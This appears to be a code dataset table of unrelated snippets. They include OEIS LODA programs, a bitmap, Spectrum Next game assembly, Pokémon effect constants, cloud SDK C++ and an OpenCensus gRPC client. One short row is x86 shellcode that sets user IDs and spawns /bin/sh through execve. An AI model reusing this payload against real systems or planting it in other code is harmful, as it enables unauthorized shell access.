text stringlengths 1 1.05M |
|---|
LCDiamond4 label byte
word C_LIGHT_RED
Bitmap <71,100,BMC_PACKBITS,BMF_MONO>
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0x01, 0x00, 0x60, 0xfa, 0x00
db 0x01, 0x00, 0xe0, 0xfa, 0x00
db 0x01, 0x00, 0xe0, 0xfa, 0x00
db 0x01, 0x01, 0xe0, 0xfa, 0x00
db 0x01, 0x03, 0xe0, 0xfa, 0x00
db 0x01, 0x03, 0x60, 0xfa, 0x00
db 0x01, 0x07, 0x60, 0xfa, 0x00
db 0x05, 0x0e, 0x60, 0x00, 0x80, 0x00, 0x02, 0xfe,
0x00
db 0x05, 0x1c, 0x60, 0x01, 0xc0, 0x00, 0x07, 0xfe,
0x00
db 0x08, 0x1f, 0xf8, 0x03, 0x60, 0x00, 0x0d, 0x80,
0x00, 0x00
db 0x08, 0x1f, 0xf8, 0x06, 0xf0, 0x00, 0x1b, 0xc0,
0x00, 0x00
db 0x08, 0x00, 0x60, 0x0d, 0xf8, 0x00, 0x37, 0xe0,
0x00, 0x00
db 0x08, 0x00, 0x60, 0x1b, 0xfc, 0x00, 0x6f, 0xf0,
0x00, 0x00
db 0x08, 0x01, 0xf8, 0x17, 0xfc, 0x00, 0x5f, 0xf0,
0x00, 0x00
db 0x08, 0x01, 0xf8, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x7f, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x7f, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x80, 0x0f, 0xf8, 0x00, 0x3f, 0xe0,
0x00, 0x00
db 0x08, 0x01, 0xc0, 0x07, 0xf0, 0x00, 0x1f, 0xc0,
0x00, 0x00
db 0x08, 0x03, 0x60, 0x03, 0xe0, 0x00, 0x0f, 0x80,
0x00, 0x00
db 0x05, 0x06, 0xf0, 0x01, 0xc0, 0x00, 0x07, 0xfe,
0x00
db 0x05, 0x05, 0xf0, 0x00, 0x80, 0x00, 0x02, 0xfe,
0x00
db 0x01, 0x0f, 0xf8, 0xfa, 0x00
db 0x01, 0x07, 0xf0, 0xfa, 0x00
db 0x01, 0x07, 0xf0, 0xfa, 0x00
db 0x01, 0x03, 0xe0, 0xfa, 0x00
db 0x01, 0x01, 0xc0, 0xfa, 0x00
db 0x01, 0x00, 0x80, 0xfa, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xfa, 0x00, 0x01, 0x02, 0x00
db 0xfa, 0x00, 0x01, 0x07, 0x00
db 0xfa, 0x00, 0x01, 0x0d, 0x80
db 0xfa, 0x00, 0x01, 0x1b, 0xc0
db 0xfa, 0x00, 0x01, 0x17, 0xc0
db 0xfa, 0x00, 0x01, 0x3f, 0xe0
db 0xfa, 0x00, 0x01, 0x1f, 0xc0
db 0xfe, 0x00, 0x05, 0x80, 0x00, 0x02, 0x00, 0x1f,
0xc0
db 0x08, 0x00, 0x00, 0x01, 0xc0, 0x00, 0x07, 0x00,
0x0f, 0x80
db 0x08, 0x00, 0x00, 0x03, 0x60, 0x00, 0x0d, 0x80,
0x07, 0x00
db 0x08, 0x00, 0x00, 0x06, 0xf0, 0x00, 0x1b, 0xc0,
0x02, 0x00
db 0x08, 0x00, 0x00, 0x0d, 0xf8, 0x00, 0x37, 0xe0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1b, 0xfc, 0x00, 0x6f, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x17, 0xfc, 0x00, 0x5f, 0xf0,
0x3f, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x3f, 0x00
db 0x08, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x7f, 0xf0,
0x0c, 0x00
db 0x08, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x7f, 0xf0,
0x0c, 0x00
db 0x08, 0x00, 0x00, 0x0f, 0xf8, 0x00, 0x3f, 0xe0,
0x3f, 0xf0
db 0x08, 0x00, 0x00, 0x07, 0xf0, 0x00, 0x1f, 0xc0,
0x3f, 0xf0
db 0x08, 0x00, 0x00, 0x03, 0xe0, 0x00, 0x0f, 0x80,
0x0c, 0x70
db 0x08, 0x00, 0x00, 0x01, 0xc0, 0x00, 0x07, 0x00,
0x0c, 0xe0
db 0xfe, 0x00, 0x05, 0x80, 0x00, 0x02, 0x00, 0x0d,
0xc0
db 0xfa, 0x00, 0x01, 0x0d, 0x80
db 0xfa, 0x00, 0x01, 0x0f, 0x80
db 0xfa, 0x00, 0x01, 0x0f, 0x00
db 0xfa, 0x00, 0x01, 0x0e, 0x00
db 0xfa, 0x00, 0x01, 0x0e, 0x00
db 0xfa, 0x00, 0x01, 0x0c, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
|
; A192467: (A192466)/2.
; 1,3,12,45,176,693,2752,10965,43776,174933,699392,2796885,11186176,44741973,178962432,715838805,2863333376,11453289813,45813071872,183252112725,733008101376,2932031706453,11728125427712,46912498914645,187649990066176
add $0,3
mov $1,4
mov $2,2
pow $2,$0
add $1,$2
mul $1,$2
div $1,48
sub $1,2
div $1,2
add $1,1
mov $0,$1
|
BAL _start
SECTION .data
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
add eax, 70
add bx, 1006
add cx, 1006
int 0x80
jmp do_call
jmp_back:
xor eax, eax
add eax, 11
pop ebx
mov [ebx+7], byte ah
xor ecx, ecx
xor edx, edx
int 0x80
do_call:
call jmp_back
shell:
db '/bin/shN'
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonUI/Open (gadgets)
FILE: copenRange.asm
ROUTINES:
Name Description
---- -----------
GLB OLRangeClass Open look numeric range gadget
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 12/89 Initial version
DESCRIPTION:
$Id: copenRange.asm,v 1.1 97/04/07 10:54:15 newdeal Exp $
------------------------------------------------------------------------------@
Nuked. 7/ 7/92 cbh
|
; A131174: a(2n) = 2*A000217(n), a(2n+1) = A000217(n).
; 0,0,2,1,6,3,12,6,20,10,30,15,42,21,56,28,72,36,90,45,110,55,132,66,156,78,182,91,210,105,240,120,272,136,306,153,342,171,380,190,420,210,462,231,506,253,552,276,600,300,650,325,702,351,756,378,812,406,870,435,930,465,992,496,1056,528,1122,561,1190,595,1260,630,1332,666,1406,703,1482,741,1560,780,1640,820,1722,861,1806,903,1892,946,1980,990,2070,1035,2162,1081,2256,1128,2352,1176,2450,1225
mov $1,$0
div $0,2
mov $2,2
gcd $2,$1
mov $3,$1
add $3,$2
mul $0,$3
mul $0,$2
div $0,4
|
/*
* Copyright 2009-2017 Alibaba Cloud All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <alibabacloud/emr/model/ListEmrAvailableConfigRequest.h>
using AlibabaCloud::Emr::Model::ListEmrAvailableConfigRequest;
ListEmrAvailableConfigRequest::ListEmrAvailableConfigRequest() :
RpcServiceRequest("emr", "2016-04-08", "ListEmrAvailableConfig")
{
setMethod(HttpRequest::Method::Post);
}
ListEmrAvailableConfigRequest::~ListEmrAvailableConfigRequest()
{}
long ListEmrAvailableConfigRequest::getResourceOwnerId()const
{
return resourceOwnerId_;
}
void ListEmrAvailableConfigRequest::setResourceOwnerId(long resourceOwnerId)
{
resourceOwnerId_ = resourceOwnerId;
setParameter("ResourceOwnerId", std::to_string(resourceOwnerId));
}
std::string ListEmrAvailableConfigRequest::getAccessKeyId()const
{
return accessKeyId_;
}
void ListEmrAvailableConfigRequest::setAccessKeyId(const std::string& accessKeyId)
{
accessKeyId_ = accessKeyId;
setParameter("AccessKeyId", accessKeyId);
}
std::string ListEmrAvailableConfigRequest::getRegionId()const
{
return regionId_;
}
void ListEmrAvailableConfigRequest::setRegionId(const std::string& regionId)
{
regionId_ = regionId;
setParameter("RegionId", regionId);
}
|
SHIP_STATE_ALIVE EQU 0
SHIP_STATE_DESTROYED EQU 1
SHIP_STATE_COUNT EQU 2
SHIP_MOVE_SPEED EQU 2
SHIP_X_MIN EQU 32 + 16 ; border + 16
SHIP_X_MAX EQU 32 + 256 - 16 - 32 ; border + ULA width - sprite width - 32
SHIP_START_X EQU SHIP_X_MIN
SHIP_Y EQU 32 + 192 - 8 ; border + ULA height - sprite height (ship sprite is 8 pixels tall)
shipState DB SHIP_STATE_ALIVE
; See shipPattern
shipHitboxPatternSpace Hitbox { $02, $0e, $00, $07 } ; x0, x1, y0, y1
shipHitboxScreenSpace Hitbox
;-------------------------------------------------------------------------------------------------------------------
SpawnShip:
; Set ship position and make visible
ld ix,shipSprite
ld (ix+SpriteAttributes.x),SHIP_START_X
ld (ix+SpriteAttributes.y),SHIP_Y
ld (ix+SpriteAttributes.vpat),SPRITE_ATTRIBUTE3_FLAG_VISIBLE|SHIP_PATTERN_INDEX // visible, no 5th attribute byte, sprite pattern
; set ship bullet to be invisible
ld ix,shipBulletSprite
ld (ix+SpriteAttributes.vpat),SHIP_BULLET_PATTERN_INDEX // not visible, no 5th attribute byte, sprite pattern
ld a,SHIP_STATE_ALIVE
ld (shipState),a
ret
HideShipSprite:
ld hl,shipSprite+SpriteAttributes.vpat
ld (hl),SHIP_PATTERN_INDEX
ret
UpdateShip:
ASSERT SHIP_STATE_COUNT == 2 ; need a switch statement or jump table
ld a,(shipState)
cp SHIP_STATE_ALIVE
jr z,updateShip_Alive
jr updateShip_Destroyed
updateShip_Alive:
call updateShipPos
ld ix,shipSprite
ld de,shipHitboxPatternSpace
ld hl,shipHitboxScreenSpace
call CalculateSpriteScreenSpaceHitbox
ret
updateShip_Destroyed:
; flip animation frame every 4 frames
ld a,(framesInState16) ; A = LSB of frames in state
and $4 ; keep only bit 2
srl a ; A >>= 1
srl a ; A >>= 1
add SHIP_DESTROYED_FRAME0_INDEX
or SPRITE_ATTRIBUTE3_FLAG_VISIBLE
ld (shipSprite+SpriteAttributes.vpat),a
ret
;
; Uses inputBits to move ship sprite
;
updateShipPos:
ld ix,shipSprite
; HL = current X coordinate (9 bit)
ld l,(ix+SpriteAttributes.x)
ld a,(ix+SpriteAttributes.mrx8) ; H = most significant bit of X
and 1 ; keep only bit 1
ld h,a ; HL = 9-bit x coordinate
ld a,(inputBits)
.right bit INPUT_BIT_RIGHT,a
jr z,.left
ld de,SHIP_MOVE_SPEED ; move speed
add hl,de ; HL += DE
; x = min(x,SHIP_X_MAX)
push hl
ld de,SHIP_X_MAX
and a ; clear carry flag for following 16-bit SBC instruction (there is no 16-bit SUB HL,DE)
sbc hl,de ; HL -= (DL+CF) sets carry flag, whereas DEC HL does not. n.b. there is no sub hl,de !
pop hl
jr c,.left
ld hl,SHIP_X_MAX ; clamp
.left bit INPUT_BIT_LEFT,a
jr z,.setSpritePos
ld de,SHIP_MOVE_SPEED ; move speed
and a ; clear carry flag for following 16-bit SBC instruction (there is no 16-bit SUB HL,DE)
sbc hl,de ; HL -= (DL+CF) sets carry flag, whereas DEC HL does not. n.b. there is no sub hl,de !
; x = max(x,SHIP_X_MIN)
push hl
ld de,SHIP_X_MIN
sbc hl,de
pop hl
jr nc,.setSpritePos
ld hl,SHIP_X_MIN ; clamp
.setSpritePos
ld (ix+SpriteAttributes.x),l
ld (ix+SpriteAttributes.mrx8),h
ret
|
; A214489: Numbers m such that A070939(m) = A070939(m + A070939(m)), A070939 = length of binary representation.
; 0,4,8,9,10,11,16,17,18,19,20,21,22,23,24,25,26,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120
lpb $0
mov $2,$3
add $2,3
add $0,$2
mov $1,$0
sub $0,1
add $1,4
add $3,4
mul $3,2
sub $3,1
add $4,$2
trn $0,$4
sub $3,3
lpe
trn $1,4
mov $0,$1
|
; A284117: Sum of proper prime power divisors of n.
; Submitted by Christian Krause
; 0,0,0,4,0,0,0,12,9,0,0,4,0,0,0,28,0,9,0,4,0,0,0,12,25,0,36,4,0,0,0,60,0,0,0,13,0,0,0,12,0,0,0,4,9,0,0,28,49,25,0,4,0,36,0,12,0,0,0,4,0,0,9,124,0,0,0,4,0,0,0,21,0,0,25,4,0,0,0,28,117,0,0,4,0,0,0,12,0,9,0,4,0,0,0,60,0,49,9,29
add $0,1
lpb $0
mov $3,$0
lpb $3
mov $4,$0
mov $6,$2
cmp $6,0
add $2,$6
mod $4,$2
cmp $4,0
cmp $4,0
mov $5,$2
add $2,1
cmp $5,1
max $4,$5
sub $3,$4
lpe
mov $5,1
lpb $0
dif $0,$2
mul $5,$2
add $7,$5
lpe
sub $7,$2
lpe
mov $0,$7
|
; MoveEffectsPointers indexes (see data/moves/effects_pointers.asm)
const_def
const EFFECT_NORMAL_HIT ; 00
const EFFECT_SLEEP ; 01
const EFFECT_POISON_HIT ; 02
const EFFECT_LEECH_HIT ; 03
const EFFECT_BURN_HIT ; 04
const EFFECT_FREEZE_HIT ; 05
const EFFECT_PARALYZE_HIT ; 06
const EFFECT_SELFDESTRUCT ; 07
const EFFECT_DREAM_EATER ; 08
const EFFECT_MIRROR_MOVE ; 09
const EFFECT_ATTACK_UP ; 0a
const EFFECT_DEFENSE_UP ; 0b
const EFFECT_ATK_DEF_DOWN ; 0c
const EFFECT_SP_ATK_UP ; 0d
const EFFECT_DEF_SP_DEF_UP ; 0e
const EFFECT_ATK_DEF_UP ; 0f
const EFFECT_EVASION_UP ; 10
const EFFECT_ALWAYS_HIT ; 11
const EFFECT_ATTACK_DOWN ; 12
const EFFECT_DEFENSE_DOWN ; 13
const EFFECT_SPEED_DOWN ; 14
const EFFECT_SP_ATK_SP_DEF_UP ; 15
const EFFECT_ATK_SPEED_UP ; 16
const EFFECT_ACCURACY_DOWN ; 17
const EFFECT_EVASION_DOWN ; 18
const EFFECT_RESET_STATS ; 19
const EFFECT_BIDE ; 1a
const EFFECT_RAMPAGE ; 1b
const EFFECT_FORCE_SWITCH ; 1c
const EFFECT_MULTI_HIT ; 1d
const EFFECT_CONVERSION ; 1e
const EFFECT_FLINCH_HIT ; 1f
const EFFECT_HEAL ; 20
const EFFECT_TOXIC ; 21
const EFFECT_PAY_DAY ; 22
const EFFECT_LIGHT_SCREEN ; 23
const EFFECT_TRI_ATTACK ; 24
const EFFECT_PARA_FLINCH_HIT ; 25
const EFFECT_OHKO ; 26
const EFFECT_RAZOR_WIND ; 27
const EFFECT_SUPER_FANG ; 28
const EFFECT_STATIC_DAMAGE ; 29
const EFFECT_TRAP_TARGET ; 2a
const EFFECT_FREEZE_FLINCH_HIT ; 2b
const EFFECT_DOUBLE_HIT ; 2c
const EFFECT_JUMP_KICK ; 2d
const EFFECT_MIST ; 2e
const EFFECT_FOCUS_ENERGY ; 2f
const EFFECT_RECOIL_HIT ; 30
const EFFECT_CONFUSE ; 31
const EFFECT_ATTACK_UP_2 ; 32
const EFFECT_DEFENSE_UP_2 ; 33
const EFFECT_SPEED_UP_2 ; 34
const EFFECT_SP_ATK_UP_2 ; 35
const EFFECT_SP_DEF_UP_2 ; 36
const EFFECT_RECOIL_1_2 ; 37
const EFFECT_RECOIL_1_4 ; 38
const EFFECT_TRANSFORM ; 39
const EFFECT_ATTACK_DOWN_2 ; 3a
const EFFECT_DEFENSE_DOWN_2 ; 3b
const EFFECT_SPEED_DOWN_2 ; 3c
const EFFECT_SP_DEF_DOWN_2_HIT ; 3d
const EFFECT_SP_DEF_DOWN_2 ; 3e
const EFFECT_SP_ATK_UP_HIT ; 3f
const EFFECT_WHIRLPOOL ; 40
const EFFECT_REFLECT ; 41
const EFFECT_POISON ; 42
const EFFECT_PARALYZE ; 43
const EFFECT_ATTACK_DOWN_HIT ; 44
const EFFECT_DEFENSE_DOWN_HIT ; 45
const EFFECT_SPEED_DOWN_HIT ; 46
const EFFECT_SP_ATK_DOWN_HIT ; 47
const EFFECT_SP_DEF_DOWN_HIT ; 48
const EFFECT_ACCURACY_DOWN_HIT ; 49
const EFFECT_SP_ATK_DOWN_2_HIT ; 4a
const EFFECT_SKY_ATTACK ; 4b
const EFFECT_CONFUSE_HIT ; 4c
const EFFECT_POISON_MULTI_HIT ; 4d
const EFFECT_BURN_FLINCH_HIT ; 4e
const EFFECT_SUBSTITUTE ; 4f
const EFFECT_HYPER_BEAM ; 50
const EFFECT_RAGE ; 51
const EFFECT_MIMIC ; 52
const EFFECT_METRONOME ; 53
const EFFECT_LEECH_SEED ; 54
const EFFECT_SPLASH ; 55
const EFFECT_DISABLE ; 56
const EFFECT_LEVEL_DAMAGE ; 57
const EFFECT_PSYWAVE ; 58
const EFFECT_COUNTER ; 59
const EFFECT_ENCORE ; 5a
const EFFECT_PAIN_SPLIT ; 5b
const EFFECT_SNORE ; 5c
const EFFECT_CONVERSION2 ; 5d
const EFFECT_LOCK_ON ; 5e
const EFFECT_SKETCH ; 5f
const EFFECT_SURF ; 60
const EFFECT_SLEEP_TALK ; 61
const EFFECT_DESTINY_BOND ; 62
const EFFECT_REVERSAL ; 63
const EFFECT_SPITE ; 64
const EFFECT_FALSE_SWIPE ; 65
const EFFECT_HEAL_BELL ; 66
const EFFECT_PRIORITY_HIT ; 67
const EFFECT_TRIPLE_KICK ; 68
const EFFECT_THIEF ; 69
const EFFECT_MEAN_LOOK ; 6a
const EFFECT_NIGHTMARE ; 6b
const EFFECT_FLAME_WHEEL ; 6c
const EFFECT_CURSE ; 6d
const EFFECT_UNUSED_6E ; 6e
const EFFECT_PROTECT ; 6f
const EFFECT_SPIKES ; 70
const EFFECT_FORESIGHT ; 71
const EFFECT_PERISH_SONG ; 72
const EFFECT_SANDSTORM ; 73
const EFFECT_ENDURE ; 74
const EFFECT_ROLLOUT ; 75
const EFFECT_SWAGGER ; 76
const EFFECT_FURY_CUTTER ; 77
const EFFECT_ATTRACT ; 78
const EFFECT_RETURN ; 79
const EFFECT_PRESENT ; 7a
const EFFECT_FRUSTRATION ; 7b
const EFFECT_SAFEGUARD ; 7c
const EFFECT_SACRED_FIRE ; 7d
const EFFECT_MAGNITUDE ; 7e
const EFFECT_BATON_PASS ; 7f
const EFFECT_PURSUIT ; 80
const EFFECT_RAPID_SPIN ; 81
const EFFECT_POT_SMASH ; 82
const EFFECT_CRUSH_GRIP ; 83
const EFFECT_MORNING_SUN ; 84
const EFFECT_SYNTHESIS ; 85
const EFFECT_MOONLIGHT ; 86
const EFFECT_HIDDEN_POWER ; 87
const EFFECT_RAIN_DANCE ; 88
const EFFECT_SUNNY_DAY ; 89
const EFFECT_DEFENSE_UP_HIT ; 8a
const EFFECT_ATTACK_UP_HIT ; 8b
const EFFECT_ALL_UP_HIT ; 8c
const EFFECT_FAKE_OUT ; 8d
const EFFECT_BELLY_DRUM ; 8e
const EFFECT_PSYCH_UP ; 8f
const EFFECT_MIRROR_COAT ; 90
const EFFECT_SKULL_BASH ; 91
const EFFECT_TWISTER ; 92
const EFFECT_EARTHQUAKE ; 93
const EFFECT_FUTURE_SIGHT ; 94
const EFFECT_GUST ; 95
const EFFECT_STOMP ; 96
const EFFECT_SOLARBEAM ; 97
const EFFECT_THUNDER ; 98
const EFFECT_TELEPORT ; 99
const EFFECT_BEAT_UP ; 9a
const EFFECT_FLY ; 9b
const EFFECT_DEFENSE_CURL ; 9c
const EFFECT_VITAL_THROW ; 9d
const EFFECT_UPROAR ; 9e
const EFFECT_STOCKPILE ; 9f
const EFFECT_SPIT_UP ; a0
const EFFECT_SWALLOW ; a1
const EFFECT_HAIL ; a2
const EFFECT_TORMENT ; a3
const EFFECT_FLATTER ; a4
const EFFECT_WILL_O_WISP ; a5
const EFFECT_MEMENTO ; a6
const EFFECT_FACADE ; a7
const EFFECT_FOCUS_PUNCH ; a8
const EFFECT_SMELLINGSALT ; a9
const EFFECT_NATURE_POWER ; aa
const EFFECT_CHARGE ; ab
const EFFECT_TAUNT ; ac
const EFFECT_TRICK ; ad
const EFFECT_UNUSED_AE ; ae
const EFFECT_WISH ; af
const EFFECT_ASSIST ; b0
const EFFECT_INGRAIN ; b1
const EFFECT_SUPERPOWER ; b2
const EFFECT_MAGIC_COAT ; b3
const EFFECT_RECYCLE ; b4
const EFFECT_REVENGE ; b5
const EFFECT_BRICK_BREAK ; b6
const EFFECT_YAWN ; b7
const EFFECT_KNOCK_OFF ; b8
const EFFECT_ENDEAVOR ; b9
const EFFECT_UNUSED_BA ; ba
const EFFECT_UNUSED_BB ; bb
const EFFECT_IMPRISON ; bc
const EFFECT_REFRESH ; bd
const EFFECT_GRUDGE ; be
const EFFECT_SNATCH ; bf
const EFFECT_SECRET_POWER ; c0
const EFFECT_CAMOUFLAGE ; c1
const EFFECT_UNUSED_C2 ; c2
const EFFECT_MUD_SPORT ; c3
const EFFECT_POISON_FANG ; c4
const EFFECT_WEATHER_BALL ; c5
const EFFECT_HP_SCALING_HIT ; c6
const EFFECT_UNUSED_C7 ; c7
const EFFECT_BOUNCE ; c8
const EFFECT_VOLT_TACKLE ; c9
const EFFECT_WATER_SPORT ; ca
const EFFECT_UNUSED_CB ; cb
const EFFECT_UNUSED_CC ; cc
const EFFECT_GRAVITY ; cd
const EFFECT_MIRACLE_EYE ; ce
const EFFECT_WAKE_UP_SLAP ; cf
const EFFECT_HAMMER_ARM ; d0
const EFFECT_GYRO_BALL ; d1
const EFFECT_HEALING_WISH ; d2
const EFFECT_BRINE ; d3
const EFFECT_NATURAL_GIFT ; d4
const EFFECT_FEINT ; d5
const EFFECT_PLUCK ; d6
const EFFECT_TAILWIND ; d7
const EFFECT_ACUPRESSURE ; d8
const EFFECT_METAL_BURST ; d9
const EFFECT_U_TURN ; da
const EFFECT_CLOSE_COMBAT ; db
const EFFECT_PAYBACK ; dc
const EFFECT_UNUSED_DD ; dd
const EFFECT_EMBARGO ; de
const EFFECT_FLING ; df
const EFFECT_PSYCHO_SHIFT ; e0
const EFFECT_TRUMP_CARD ; e1
const EFFECT_HEAL_BLOCK ; e2
const EFFECT_UNUSED_E3 ; e3
const EFFECT_POWER_TRICK ; e4
const EFFECT_UNUSED_E5 ; e5
const EFFECT_LUCKY_CHANT ; e6
const EFFECT_ME_FIRST ; e7
const EFFECT_COPYCAT ; e8
const EFFECT_POWER_SWAP ; e9
const EFFECT_GUARD_SWAP ; ea
const EFFECT_PUNISHMENT ; eb
const EFFECT_LAST_RESORT ; ec
const EFFECT_UNUSED_ED ; ed
const EFFECT_SUCKER_PUNCH ; ee
const EFFECT_TOXIC_SPIKES ; ef
const EFFECT_HEART_SWAP ; f0
const EFFECT_AQUA_RING ; f1
const EFFECT_MAGNET_RISE ; f2
const EFFECT_FLARE_BLITZ ; f3
const EFFECT_DEFOG ; f4
const EFFECT_TRICK_ROOM ; f5
const EFFECT_CAPTIVATE ; f6
const EFFECT_STEALTH_ROCK ; f7
const EFFECT_WEIGHT_DAMAGE ; f8
const EFFECT_JUDGMENT ; f9
const EFFECT_UNUSED_FA ; fa
const EFFECT_LUNAR_DANCE ; fb
EFFECT_SPEED_UP EQU $0c
EFFECT_SP_DEF_UP EQU $0e
EFFECT_ACCURACY_UP EQU $0f
EFFECT_SP_ATK_DOWN EQU $15
EFFECT_SP_DEF_DOWN EQU $16
EFFECT_ACCURACY_DOWN_2 EQU $3f
EFFECT_EVASION_DOWN_2 EQU $40
EFFECT_DEFROST_OPPONENT EQU $60
|
// Copyright 2018, OpenCensus Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <grpcpp/grpcpp.h>
#include <grpcpp/opencensus.h>
#include <cstdlib>
#include <iostream>
#include <memory>
#include <string>
#include "absl/strings/str_cat.h"
#include "absl/time/clock.h"
#include "examples/grpc/exporters.h"
#include "examples/grpc/hello.grpc.pb.h"
#include "examples/grpc/hello.pb.h"
#include "opencensus/stats/aggregation.h"
#include "opencensus/stats/bucket_boundaries.h"
#include "opencensus/stats/view_descriptor.h"
#include "opencensus/tags/context_util.h"
#include "opencensus/tags/tag_key.h"
#include "opencensus/tags/tag_map.h"
#include "opencensus/tags/with_tag_map.h"
#include "opencensus/trace/context_util.h"
#include "opencensus/trace/sampler.h"
#include "opencensus/trace/trace_config.h"
#include "opencensus/trace/with_span.h"
namespace {
using examples::HelloReply;
using examples::HelloRequest;
using examples::HelloService;
opencensus::tags::TagKey MyKey() {
static const auto key = opencensus::tags::TagKey::Register("my_key");
return key;
}
opencensus::stats::Aggregation MillisDistributionAggregation() {
return opencensus::stats::Aggregation::Distribution(
opencensus::stats::BucketBoundaries::Explicit(
{0, 0.1, 1, 10, 100, 1000}));
}
ABSL_CONST_INIT const absl::string_view kRpcClientRoundtripLatencyMeasureName =
"grpc.io/client/roundtrip_latency";
::opencensus::tags::TagKey ClientMethodTagKey() {
static const auto method_tag_key =
::opencensus::tags::TagKey::Register("grpc_client_method");
return method_tag_key;
}
::opencensus::tags::TagKey ClientStatusTagKey() {
static const auto status_tag_key =
::opencensus::tags::TagKey::Register("grpc_client_status");
return status_tag_key;
}
} // namespace
int main(int argc, char **argv) {
if (argc < 2) {
std::cerr << "Usage: " << argv[0] << " host:port [name]\n";
return 1;
}
const std::string hostport = argv[1];
std::string name = "world";
if (argc >= 3) {
name = argv[2];
}
// Register the OpenCensus gRPC plugin to enable stats and tracing in gRPC.
grpc::RegisterOpenCensusPlugin();
// Add a view of client RPC latency broken down by our custom key.
opencensus::stats::ViewDescriptor()
.set_name("example/client/roundtrip_latency/cumulative")
.set_measure(kRpcClientRoundtripLatencyMeasureName)
.set_aggregation(MillisDistributionAggregation())
.add_column(ClientMethodTagKey())
.add_column(ClientStatusTagKey())
.add_column(MyKey())
.RegisterForExport();
RegisterExporters();
// Create a Channel to send RPCs over.
std::shared_ptr<grpc::Channel> channel =
grpc::CreateChannel(hostport, grpc::InsecureChannelCredentials());
std::unique_ptr<HelloService::Stub> stub = HelloService::NewStub(channel);
// Create a span, this will be the parent of the RPC span.
static opencensus::trace::AlwaysSampler sampler;
auto span = opencensus::trace::Span::StartSpan(
"HelloClient", /*parent=*/nullptr, {&sampler});
std::cout << "HelloClient span context is " << span.context().ToString()
<< "\n";
// Extend the current tag map.
// (in this example, there are no tags currently present, but in real code we
// wouldn't want to drop tags)
static const auto key = opencensus::tags::TagKey::Register("my_key");
std::vector<std::pair<opencensus::tags::TagKey, std::string>> tags(
opencensus::tags::GetCurrentTagMap().tags());
tags.emplace_back(key, "my_value");
opencensus::tags::TagMap tag_map(std::move(tags));
{
opencensus::trace::WithSpan ws(span);
opencensus::tags::WithTagMap wt(tag_map);
// The client Span ends when ctx falls out of scope.
grpc::ClientContext ctx;
ctx.AddMetadata("key1", "value1");
HelloRequest request;
HelloReply reply;
request.set_name(name);
std::cout << "Sending request: \"" << request.ShortDebugString() << "\"\n";
opencensus::trace::GetCurrentSpan().AddAnnotation("Sending request.");
// Send the RPC.
grpc::Status status = stub->SayHello(&ctx, request, &reply);
std::cout << "Got status: " << status.error_code() << ": \""
<< status.error_message() << "\"\n";
std::cout << "Got reply: \"" << reply.ShortDebugString() << "\"\n";
opencensus::trace::GetCurrentSpan().AddAnnotation(
"Got reply.", {{"status", absl::StrCat(status.error_code(), ": ",
status.error_message())}});
if (!status.ok()) {
// TODO: Map grpc::StatusCode to trace::StatusCode.
opencensus::trace::GetCurrentSpan().SetStatus(
opencensus::trace::StatusCode::UNKNOWN, status.error_message());
}
// Don't forget to explicitly end the span!
opencensus::trace::GetCurrentSpan().End();
}
// Disable tracing any further RPCs (which will be sent by exporters).
opencensus::trace::TraceConfig::SetCurrentTraceParams(
{128, 128, 128, 128, opencensus::trace::ProbabilitySampler(0.0)});
// Sleep while exporters run in the background.
std::cout << "Client sleeping, ^C to exit.\n";
while (true) {
absl::SleepFor(absl::Seconds(10));
}
}
|
/*!
\file
\author Igor Mironchik (igor.mironchik at gmail dot com).
Copyright (c) 2014 Igor Mironchik
Permission is hereby granted, free of charge, to any person
